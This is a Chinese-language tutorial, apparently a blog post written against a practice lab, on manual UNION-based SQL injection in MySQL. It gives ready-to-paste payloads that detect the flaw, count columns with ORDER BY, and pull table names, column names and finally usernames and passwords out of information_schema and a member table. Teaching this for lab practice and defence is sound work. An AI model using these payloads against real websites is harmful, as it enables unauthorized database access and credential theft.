union联合查询注入
union联合、合并:将多条查询语句的结果合并成一个结果,union注入攻击为一种手动测试
常用系统库
information_schema
概述
information_schema 数据库是 MySQL5.0 及以上系统自带的数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。
如果我们用于注入的账号,有能够读取该库的权限,那么我们离脱裤就非常非常近了。
常用表
tables 表
table_schema:保存所有库名的列
table_name:保存所有表名的列
columns 表
table_name:保存所有表名的列
column_name:保存所有列名的列
mysql
核心数据库
主要存储用户的账户、权限等关键信息。
1.判断注入方式
输入数字型
1 or 1=1
输入字符型
1' or 1=1#
经判断若存在则为字符型
查看源代码也可以看出是字符型
2.判断是否存在SQL漏洞
输入1’ or ‘1’='1
只要一条成立即可
输入1’ or ‘1’='2
两次返回的页面不一样,说明存在注入,可以用联合查询的方式进行注入
3.判断字段数
使用语句 order by N 确定当前表的字符数,正确字段数等于出错字段数-1
公式: order by N-1
输入vince’order by 7#![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/cb517fb4a6274dd575f21933e1cf0ad9.png)
反馈语句报错
输入vince’order by 2#
没有报错,说明字段数为2
4.联合注入查询获取敏感信息
联合查询输入数字 查询页面是否有数字输出。输出的地方就是显示的内容但 是被数字替换了。-1 是让前面的表查询的内容不存在。所以就会显示数字。
输入1’ union select 1,2 #
获取信息
输入group_concat(user(),0x3a,database(),0x3a, version()) 通过组拼接获取当前数据库,当前用户名和当前版本
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数全部写入
0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号“:”
联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的 information_schema 查询当前库的表
查询当前库的表 limit 1 相当于 limit 0,1 表示显示第一个 1 改成 2 就是第二个 如此类推
第一个表(httpinfo)
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#
第二个表(member)
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)#
联合查询注入通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS这个表记录所有表的字段。通过 COLUMNS 查询XXX表的字段。
获取 XXX 表第一个字段名 (id)
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='XXX' limit 1))#
获取 XXX 表第二个字段名 (username)
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='member' limit 1,1))#
获取XXX表第三个字段名(pw)
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='member' limit 2,1))#
通过联合查询字段里的内容
-1' union select 1,(select group_concat(id,0x3a,username,0x3a,pw) from member limit 1)#